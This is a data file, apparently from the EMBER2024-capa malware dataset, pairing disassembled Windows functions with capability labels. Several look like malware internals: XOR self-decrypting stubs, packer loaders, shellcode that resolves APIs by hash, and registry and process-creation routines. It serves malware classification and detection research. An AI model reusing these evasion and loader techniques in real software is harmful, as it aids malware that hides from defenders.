joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10024831
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1001dfb6
and dword [ebp - 4], 0
cmp dword [0x10041cfc], 0
mov ebx, eax
jne 0x100248e2
push 0x1002bcd4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10024993
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1002bcc8
push edi
call esi
test eax, eax
je 0x10024993
push eax
call fcn.1001df44
mov dword [esp], 0x1002bcb8
push edi
mov dword [0x10041cfc], eax
call esi
push eax
call fcn.1001df44
mov dword [esp], 0x1002bca4
push edi
mov dword [0x10041d00], eax
call esi
push eax
call fcn.1001df44
mov dword [esp], 0x1002bc88
push edi
mov dword [0x10041d04], eax
call esi
push eax
call fcn.1001df44
pop ecx
mov dword [0x10041d0c], eax
test eax, eax
je 0x100248e2
push 0x1002bc70
push edi
call esi
push eax
call fcn.1001df44
pop ecx
mov dword [0x10041d08], eax
mov eax, dword [0x10041d08]
cmp eax, ebx
je 0x1002493a
cmp dword [0x10041d0c], ebx
je 0x1002493a
push eax
call fcn.1001dfbf
push dword [0x10041d0c]
mov esi, eax
call fcn.1001dfbf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1002493a
test edi, edi
je 0x1002493a
call esi
test eax, eax
je 0x10024931
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10024931
test byte [ebp - 0xc], 1
jne 0x1002493a
or dword [ebp + 0x10], 0x200000
jmp 0x10024973
mov eax, dword [0x10041d00]
cmp eax, ebx
je 0x10024973
push eax
call fcn.1001dfbf
pop ecx
test eax, eax
je 0x10024973
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10024973
mov eax, dword [0x10041d04]
cmp eax, ebx
je 0x10024973
push eax
call fcn.1001dfbf
pop ecx
test eax, eax
je 0x10024973
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10041cfc]
call fcn.1001dfbf
pop ecx
test eax, eax
je 0x10024993
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10024995
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x413049
Capabilities:
Resolve function by hash

Disassembly:
mov eax, dword fs:[0x30]
test eax, eax
js 0x41305f
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov ebx, dword [eax + 8]
jmp 0x413068
mov eax, dword [eax + 0x34]
mov ebx, dword [eax + 0xb8]
pop esi
add esi, 3
push ebx
mov edx, 0xec0e4e8e
call esi
push eax
mov edx, 0x7c0dfcaa
call esi
push eax
push edi
mov edx, 0x4ee4a045
call esi
xor edx, edx
push edx
push 0x6d756369
push 0x6c656167
push esp
push edx
push edx
call eax
push eax
mov edx, 0x75da1966
call esi
call eax
xchg edi, eax
mov edx, 0xffd97fb
call esi
call eax
cmp edi, 0xb7
jne 0x4130b7
mov esp, ebp
popal
ret
call fcn.004130d8
sti
xchg edi, eax
std
pcmpeqd mm5, qword [ebp - 0x50]
inc ebp
jb 0x4130c4
mov bl, 0x16
mov eax, dword [0xd2d83d6a]
invalid

Function at 0x413713
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x41372c
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x41373a
dec eax
jmp 0x41373a
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x413744
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x4137cb
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x413782
cmp byte [ebx], 0x2e
je 0x4137b2
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00413713
pop esi
jmp 0x4137b2
push ebx
call dword [edi + 0x30]
push eax
call 0x413791
js 0x4137f5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x4137b2
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.004137cd
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x413761
push esi
call dword [edi + 0x40]
leave
ret
jae 0x413862
jb 0x413867
insb byte es:[edi], dx
js 0x413863
invalid
Function at 0x413744
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x41372c
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x41373a
dec eax
jmp 0x41373a
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x413744
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x4137cb
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x413782
cmp byte [ebx], 0x2e
je 0x4137b2
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00413713
pop esi
jmp 0x4137b2
push ebx
call dword [edi + 0x30]
push eax
call 0x413791
js 0x4137f5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x4137b2
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.004137cd
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x413761
push esi
call dword [edi + 0x40]
leave
ret
jae 0x413862
jb 0x413867
insb byte es:[edi], dx
js 0x413863
invalid

Function at 0x4137cd
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
push edx
push edx
push 3
push edx
push 1
push 0xc0000000
push eax
mov esi, eax
push esi
call dword [edi + 0x30]
lea esi, [esi + eax - 0xc]
push esi
call fcn.004137ff
outsb dx, byte [esi]
je 0x413864

Function at 0x4137ff
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
call dword [edi + 0x34]
or eax, eax
jne 0x413808
leave
call dword [edi + 0x44]
mov ebx, eax
inc ebx
jne 0x41381a
dec ebx
push 0x40
pop esi
sub esp, esi
mov edx, esp
push 0
push esp
push esi
push edx
push ebx
call dword [edi + 0x48]
cmp dword [esp - 4], esi
jne 0x413810
cmp word [esp], 0x5a4d
jne 0x413810
cmp byte [esp + 0x32], 0x56
je 0x413810
push eax
add esp, esi
pop esi
mov dword [ebp - 0x1c], esi
push 0
push 0
push esi
push ebx
call dword [edi + 0x50]
inc eax
je 0x413810
sub esp, 0x58
mov edx, esp
push 0
push esp
push 0x58
push edx
push ebx
call dword [edi + 0x48]
Function at 0x41d33a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4f1c30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041ab80
mov dword [ebp - 0x14], eax
cmp dword [0x4f3798], edi
jne 0x41d42b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41d3b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41d50b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41d50b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41d50b
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x4f3798], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x4f379c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4f37a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4f37a8], eax
test eax, eax
je 0x41d428
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4f37a4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41d450
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41d443
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41d465
push 4
pop eax
jmp 0x41d50d
cmp dword [ebp - 0x14], edi
je 0x41d465
push dword [0x4f3798]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41d44a
mov eax, dword [0x4f37a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41d4c3
cmp dword [0x4f37a8], esi
je 0x41d4c3
push eax
call ebx
push dword [0x4f37a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41d4c3
test eax, eax
je 0x41d4c3
call ecx
test eax, eax
je 0x41d4b8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41d4b8
test byte [ebp - 8], 1
jne 0x41d4c3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41d4f3
mov eax, dword [0x4f379c]
cmp eax, esi
je 0x41d4f0
push eax
call ebx
test eax, eax
je 0x41d4f0
call eax
mov edi, eax
test edi, edi
je 0x41d4f0
mov eax, dword [0x4f37a0]
cmp eax, esi
je 0x41d4f0
push eax
call ebx
test eax, eax
je 0x41d4f0
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x4f3798]
call ebx
test eax, eax
je 0x41d50b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41d50d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041bb33
leave
ret
Function at 0x432630
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x7f0
mov eax, 0
mov ecx, 0x20a
lea edx, [ebp - 0x642]
lea esi, [ebp - 0x438]
lea edi, [ebp - 0x22e]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00433570
mov dword [ebp - 0x68c], ecx
call fcn.00433580
mov dword [ebp - 0x694], esi
call fcn.00416e20
mov eax, dword [ebp - 0x694]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00416e20
mov eax, dword [ebp - 0x690]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
call fcn.00416e20
mov dword [ebp - 0x650], 0
call fcn.00403860
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x684], 0xee71b6e4
Function at 0x401030
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 1
jne 0x401044
mov eax, dword [0x4380cc]
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
jmp 0x401056
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [0x4380d0]
shr edx, 1
cmp dword [ebp - 4], edx
jae 0x4010db
mov eax, dword [ebp - 4]
mov ecx, dword [0x4380b4]
movzx edx, word [ecx + eax*2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
shr eax, 0xc
cmp eax, 3
jne 0x4010d6
mov ecx, dword [ebp - 0xc]
and ecx, 0xfff
add ecx, 0x1474
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1474
mov dword [ebp - 8], edx
cmp dword [ebp - 4], 0
jne 0x4010b7
push 0x20e
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x4010b7
xor eax, eax
jmp 0x4010db
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx]
add eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx]
mov ecx, dword [ebp - 8]
mov dword [edx + ecx], eax
jmp 0x40104d
mov esp, ebp
pop ebp
ret

Function at 0x401330
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7f4
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12d
mov dword [ebp - 0x28], 0x13
mov dword [ebp - 0x7f4], str.FFFTWAREFFasses
mov dword [ebp - 0x7a4], str.yysid0afaced1_e828_11d1_9187_b532f1e9575dinprocserver32
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12c
mov dword [ebp - 0x28], 0x12
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x4380c8], ecx
mov edx, dword [ebp - 0x7f4]
mov byte [edx], 0x53
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 1], 0x4f
mov ecx, dword [ebp - 0x7f4]
mov byte [ecx + 2], 0x46
mov edx, dword [ebp - 0x7f4]
mov byte [edx + 9], 0x43
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 0xa], 0x6c
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x7f4]
push edx
push 0x80000002
call dword [0x4380c8]
test eax, eax
je 0x40142b
xor eax, eax
jmp 0x4016cd
mov eax, dword [ebp - 0x7a4]
mov byte [eax], 0x63
mov ecx, dword [ebp - 0x7a4]
mov byte [ecx + 1], 0x6c
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x7a4]
push eax
push 0x80000000
call dword [0x4380c8]
test eax, eax
je 0x40145f
xor eax, eax
jmp 0x4016cd
push 1
mov ecx, dword [0x4380c4]
push ecx
jmp 0x45b00a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ad0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x4380c0], 0x24e1
mov eax, dword [0x4380c0]
sub eax, 0x24e1
mov dword [0x4380c0], eax
mov ecx, 1
test ecx, ecx
je 0x401b7b
mov edx, dword [0x4380c0]
cmp edx, dword [ebp + 0xc]
jb 0x401b07
jmp 0x401b7b
cmp dword [0x4380c0], 0
jne 0x401b25
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401b25
xor eax, eax
jmp 0x401b7b
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
mov ecx, dword [eax]
add ecx, dword [0x4380c0]
mov edx, dword [ebp + 8]
add edx, dword [0x4380c0]
mov dword [edx], ecx
mov dword [ebp - 4], 0x32dc04
mov eax, dword [0x4380c0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x4380c0]
push eax
call fcn.00401200
add esp, 8
mov ecx, dword [0x4380c0]
add ecx, 4
mov dword [0x4380c0], ecx
jmp 0x401aed
mov esp, ebp
pop ebp
ret
Function at 0x42c3fa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x42c409
pop dword [ebp - 0x40]
mov eax, 0x42c409
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xfcdb7692
sub dword [ebp - 0x50], 0xae893147
mov dword [ebp - 0x4c], 0xfdba9624
sub dword [ebp - 0x4c], 0xcb8749df
mov dword [ebp - 0x48], 0x1c936c2c
sub dword [ebp - 0x48], 0xd04727fe
mov dword [ebp - 0x44], 0x9fd3107e
add dword [ebp - 0x44], 0x602cef82
lea eax, [ebp - 0x50]
push eax
mov eax, 0x12c0857a
sub eax, 0x127d64ce
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xdd2c1fe2
add dword [ebp - 0x50], 0x97464974
mov dword [ebp - 0x4c], 0xf38b3d3f
sub dword [ebp - 0x4c], 0xb21edbca
mov dword [ebp - 0x48], 0x7c8e77ce
sub dword [ebp - 0x48], 0x191f0b62
mov dword [ebp - 0x44], 0x9cf8f57b
add dword [ebp - 0x44], 0x63070a85
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x42f2e
push 0
call eax
mov ecx, 0x5081
xor ebx, ebx
add ebx, eax
mov edi, 0x465600
add edi, dword [ebp - 0x40]
mov edx, 0x9c7e0722
sub edx, 0x8aefc5ca
sub dword [ebp - 0x34], 0x9917617f
mov esi, dword [edi]
sub esi, edx
mov dword [ebp - 0x38], 0x5576857c
mov dword [ebx], esi
xor dword [ebp - 0x38], ebx
add ebx, 0x224faddd
add ebx, 0xddb05227
add edi, 0x8398ddc0
sub edi, 0x8398ddbc
loop 0x42c517
add eax, 0xe6aa2bd0
add eax, 0x19570907
mov ebx, eax
add eax, 0x2ca7e1e7
sub eax, 0x2ca7e1e2
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x1dc739b9
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x7c9d0540
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4015b0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
fldz
xor eax, eax
mov dword [esp], eax
fstp dword [esp]
xor ecx, ecx
xor edx, edx
mov word [esp], cx
mov word [esp + 0x46], dx
mov ecx, 1
lea edx, [esp + 4]
push edx
mov edx, dword [esp + 0x64]
mov word [esp + 0x48], cx
lea ecx, [esp + 0x18]
push ecx
push eax
push eax
push 8
push eax
push eax
push eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x7c]
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x58
ret
Function at 0x4022d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
fldz
push ebx
push esi
fst qword [esp + 0x14]
mov esi, dword [ebp + 0xc]
push edi
mov dword [esp + 0xc], 0
fstp qword [esp + 0x20]
push esi
call fcn.0040b573
mov ebx, dword [ebp + 8]
push esi
mov edi, eax
push ebx
push edi
call fcn.0040b640
mov ax, word [0x423ce4]
mov edx, dword [0x4236a4]
cwde
add edx, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x20], edx
add eax, 0x286aa898
mov edx, 1
fild dword [esp + 0x20]
mov dword [esp + 0x20], eax
lea ecx, [edi + esi]
add esp, 0x10
fild dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov esi, edi
fadd dword [0x42357c]
add dword [0x4236a4], edx
fcompp
fnstsw ax
test ah, 0x41
jne 0x402364
fld qword [0x4231f8]
fsub qword [0x41f468]
fstp qword [0x4231f8]
fld dword [0x423cb8]
mov eax, dword [0x427964]
fld1
add ebx, eax
fadd st(1), st(0)
fxch st(1)
fstp dword [0x423cb8]
fld qword [esp + 0x18]
fsub qword [0x41f460]
fadd qword [0x41f458]
fld dword [0x423cb8]
fcompp
fnstsw ax
test ah, 0x41
jne 0x4023ab
mov dword [0x4231e4], 0x5b1ac5f
jmp 0x402446
fld qword [esp + 0x18]
mov eax, dword [esp + 0xc]
fsub qword [0x41f450]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fsubp st(1)
fcomp qword [0x41f448]
fnstsw ax
fld qword [esp + 0x18]
fadd st(1)
fstp qword [esp + 0x18]
test ah, 5
jp 0x402412
add dword [0x4231e0], edx
mov eax, 0xffffffff
add dword [esp + 0xc], eax
fld qword [esp + 0x18]
fadd st(1)
fstp qword [esp + 0x18]
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov ax, word [0x4235d8]
fld qword [esp + 0x18]
mov eax, dword [esp + 0xc]
fstp st(0)
mov eax, dword [0x4231e0]
jmp 0x402446
fld qword [esp + 0x20]
fadd st(1)
fstp qword [esp + 0x20]
fld qword [esp + 0x20]
mov ecx, dword [esp + 0xc]
fadd qword [0x41f440]
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
faddp st(1)
call fcn.0040b3c0
mov ecx, dword [esp + 0x14]
mov dword [esp + 0xc], eax
mov edx, 1
sub ebx, 0x423004
cmp edi, ecx
je 0x40248d
fld dword [0x423cbc]
fsub st(1)
fstp dword [0x423cbc]
mov eax, dword [0x4232dc]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
fsub dword [0x423cbc]
fadd qword [esp + 0x18]
fmul dword [0x42363c]
fstp dword [0x42363c]
mov al, byte [ebx]
xor byte [esi], al
add esi, edx
add ebx, edx
cmp esi, ecx
jne 0x402450
dec dword [esp + 0xc]
fstp st(0)
mov cx, word [0x42356c]
movsx ecx, cx
mov eax, 0xe3a145c7
sub eax, ecx
mov ecx, dword [esp + 0xc]
sub eax, ecx
add eax, dword [0x423570]
mov dword [0x423570], eax
add word [0x42356c], dx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403620
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
fldz
push ebx
push esi
push edi
mov dword [esp + 0x10], 0
fstp dword [esp + 0xc]
xor eax, eax
push 3
push 0x425f98
mov word [esp + 0x14], ax
call fcn.004022d0
mov ebx, dword [esp + 0x20]
mov edi, eax
push edi
push ebx
call fcn.0040bf88
mov esi, eax
add esp, 0x10
test esi, esi
jne 0x40368c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx ecx, word [0x423308]
imul ecx, ecx, 0xde723a93
push edi
push ebx
mov word [0x423308], cx
call fcn.0040bf88
mov esi, eax
add esp, 8
test esi, esi
je 0x4036a4
push esi
push 1
lea edx, [esp + 0x24]
push 4
push edx
call fcn.0040be42
push esi
call fcn.0040bc64
add esp, 0x14
mov ecx, dword [0x425fbc]
mov edx, dword [esp + 0x10]
mov eax, 0xe269d9f
sub eax, ecx
add edx, eax
cmp edx, 0x9ff8373e
jg 0x4036ed
mov ax, word [esp + 0xc]
mov edx, dword [0x423334]
movsx ecx, ax
sub ecx, edx
sub ecx, 0x37ac478e
mov dword [esp + 0x10], ecx
fild dword [esp + 0x10]
fmul dword [0x42482c]
fstp dword [0x42482c]
inc dword [esp + 0xc]
xor eax, eax
mov word [edi], ax
mov dword [esp + 0x10], 0
mov word [esp + 0xc], ax
push edi
mov byte [edi + 2], al
call fcn.0040b32e
movzx ecx, word [esp + 0x10]
mov edx, dword [esp + 0x14]
add esp, 4
pop edi
sub ecx, edx
add ecx, 0x4554cb71
pop esi
mov word [esp + 4], cx
pop ebx
add esp, 8
ret

Function at 0x403730
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
push ebp
xor eax, eax
mov dword [esp + 0xc], 0
xor ecx, ecx
push 0x2e
mov word [esp + 8], ax
push 0x4233b8
mov word [esp + 0xc], cx
call fcn.004022d0
add esp, 8
lea edx, [esp + 8]
push edx
mov ebp, eax
push ebp
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4037e4
push esi
push edi
push 0x34
push 0x425e48
call fcn.004022d0
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, edx
add esp, 8
lea edi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403790
sub eax, edi
push eax
mov eax, dword [esp + 0x14]
push edx
push 1
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ecx, ecx
push 0x34
push ecx
mov dword [esp + 0x1c], 0
mov word [esp + 0x14], cx
push esi
call fcn.0040b470
push esi
call fcn.0040b32e
movzx edx, word [esp + 0x1c]
mov eax, dword [esp + 0x24]
add esp, 0x10
sub edx, eax
add edx, 0x4554cb71
pop edi
mov word [esp + 8], dx
pop esi
xor ecx, ecx
push 0x2e
push ecx
mov dword [esp + 0x14], 0
mov word [esp + 0xc], cx
push ebp
call fcn.0040b470
push ebp
call fcn.0040b32e
movzx edx, word [esp + 0x14]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
sub edx, eax
add esp, 0x10
add edx, 0x4554cb71
push ecx
mov word [esp + 8], dx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
add esp, 0xc
ret